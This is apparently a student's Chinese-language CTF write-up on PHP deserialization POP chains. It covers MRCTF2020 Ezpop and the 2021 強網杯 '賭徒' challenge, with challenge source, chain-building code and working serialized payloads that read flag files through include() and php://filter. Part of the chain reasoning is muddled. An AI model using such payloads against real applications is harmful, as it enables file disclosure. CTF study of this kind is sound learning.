2021強網杯-賭徒-pop鏈的構造
知識點
pop鏈的構造
前言
第一次在比賽裡做出題!!!好激動哈哈哈
[賭徒]是現學現做的一道php反序列化web題,之前對反序列化漏洞的瞭解只停留在繞過__wakeup魔法方法,和群裡的大佬交流發現原來pwn也有。
於是仔細一想,pop是彈棧的意思,程式呼叫函式前,它會現將函式所要用到的引數值以逆序的方式壓入棧中,而我們要做的就是逆著這個方向按著一條鏈一個個彈棧,是不是就是叫pop鏈的原因?
引入
先上一個例子,我們想根據這些引數控制A類funa方法的echo,怎麼做?
<?php class A { public $a; public function funa($a1){ echo $a1; } } class B { public $b; public function funb($b1){ $this->$b->funa($b1); } } class C { public $c; public function func($c1){ $this->$c->funb($c1); } } highlight_file(__FILE__); $pop = $_GET['pop']; $argv = $_GET['argv']; $class = unserialize($pop); $class->func($argv); ?>
可以看到,我們控制pop引數,這應該是個例項化的C類,因為只有C 類下有func()方法。
$pop=new C;
C類裡的屬性c,應該是個例項化的B類,這樣$this->$c->funb($c1);
就相當於呼叫B類的funb()函式。
$pop->$c=new B;
以此類推,B類裡的屬性b,應該是個例項化的A類,這樣$this->$b->funa($b1);
就相當於呼叫A類的funa()函式,就能達到我們的目的啦!
$pop->$c->$b = new A;
試著輸出一下123455
$pop->$c->$b->funa(123455);
合在一起,進行序列化
<?php class A { public $a; public function funa($a1){ echo $a1; } } class B { public $b; public function funb($b1){ $this->$b->funa($b1); } } class C { public $c; public function func($c1){ $this->$c->funb($c1); } } $pop=new C; $pop->$c=new B; $pop->$c->$b = new A; $pop->$c->$b->funa(123455); echo serialize($pop); ?>
O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}
很明顯這個argv引數裡是我們要輸出的內容,最終payload為
?pop=O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}&argv=123
[MRCTF2020]Ezpop
在一定的條件下魔術方法可以不被呼叫直接觸發,這種觸發形式層層相扣,在魔術方法中觸發另一個類的魔術方法,這便形成了POP鏈。
先記下魔術方法
__sleep() //使用serialize時觸發
__destruct() //物件被銷燬時觸發
__call() //在物件上下文中呼叫不可訪問的方法時觸發
__callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取資料
__set() //用於將資料寫入不可訪問的屬性
__isset() //在不可訪問的屬性上呼叫isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字串使用時觸發
__invoke() //當指令碼嘗試將物件呼叫為函式時觸發
然後上題目
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
- 當用get方法傳一個pop引數後,會因為unserialize()自動呼叫Show類的__wakeup()魔術方法。
- 由於__wakeup()通過preg_match()將$this->source做字串比較,現在如果$this->source是一個Show類,就會呼叫__toString()方法;
- 如果__toString()其中str屬性被賦值為一個例項化的Test類,那麼因為其類不含有source屬性,所以會呼叫Test中的__get()方法。
- 如果__get()中的p賦值為例項化的Modifier類,那麼相當於Modifier類被當作函式處理,所以會呼叫Modifier類中的__invoke()方法。
- 最後利用檔案包含漏洞,讀取flag.php的內容。
捋一下邏輯
Modifier::__invoke() <- Test::__get() <- Show::__toString() <- Show::__wakeup()
所以來構建payload,這裡注意由於有$this要記得在例項化類的時候加括號。
還要注意一下
本地測試的時候要有些修改,一是檔案包含漏洞,用php偽協議來讀flag.php,二是用tostring()返回一個有效的字串就行。
Welcome to index.php
<?php
//error_reporting(1);
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
;
public function append($value){
//include($value);
echo $value;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
$this->str->source;
return "Ginger";
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
// if(isset($_GET['pop'])){
// @unserialize($_GET['pop']);
// }
// else{
// $a=new Show;
// highlight_file(__FILE__);
// }
//$pop = new Show($a);這裡要先把$a先弄完整所以pop放最後
$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$pop = new Show($a);
echo serialize($pop);
解 碼
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:3:"aaa";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
最後需要進行url編碼,真神奇......
payload:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
題解2021強網杯 [強網先鋒]賭徒
遇事不決dirsearch一把梭
掃到了www.zip檔案,下載,看index.php原始碼
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
和MRCTF那道題很像
捋一下思路
unserialize() -> Start::__wakeup -> Start::_sayhello()
如果name是個例項化的Info類,就會觸發__construct()
Start::_sayhello() -> Info::__construct()
如果promise是個例項化的Info類,就會觸發__toString()
Info::__construct() -> Info::__toString()
如果file['filename']是個例項化的Room類,就會觸發Room的__get()
Info::__toString() -> Room::__get()
如果a是個例項化的Room類,就會觸發Room的__invoke()
Room::__get() -> Room::__invoke() -> Get_hint($file)
就會得到base64加密的flag
於是開始構建
<?php
include "index.php";
$a = new Start();
$a->name = new Info();
$a->name->file["filename"] = new Room();
$a->name->file["filename"]->a= new Room();
echo "<br>";
echo serialize($a);
?>
得到payload(注意Info類有個private屬性)
?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
總結
感覺構造pop鏈更像是在順著邏輯逆著找起點(雖然題裡給的一般是順著到底可以找出來的),雖然和繞過__wakeup魔法方法都屬於反序列化攻擊,但是像一種邏輯漏洞。
不管怎樣,慶祝一下自己第一次在比賽裡做出題來!人生中的一血啊哈哈哈!!!
PS:觸發魔術方法,我們需要這個類在記憶體中的物件值。而像陣列、物件這種複雜資料結構在非記憶體使用的情況下通常是以序列化形式存在。當程序呼叫時在還原成原來的形式調入記憶體,這就是反序列化。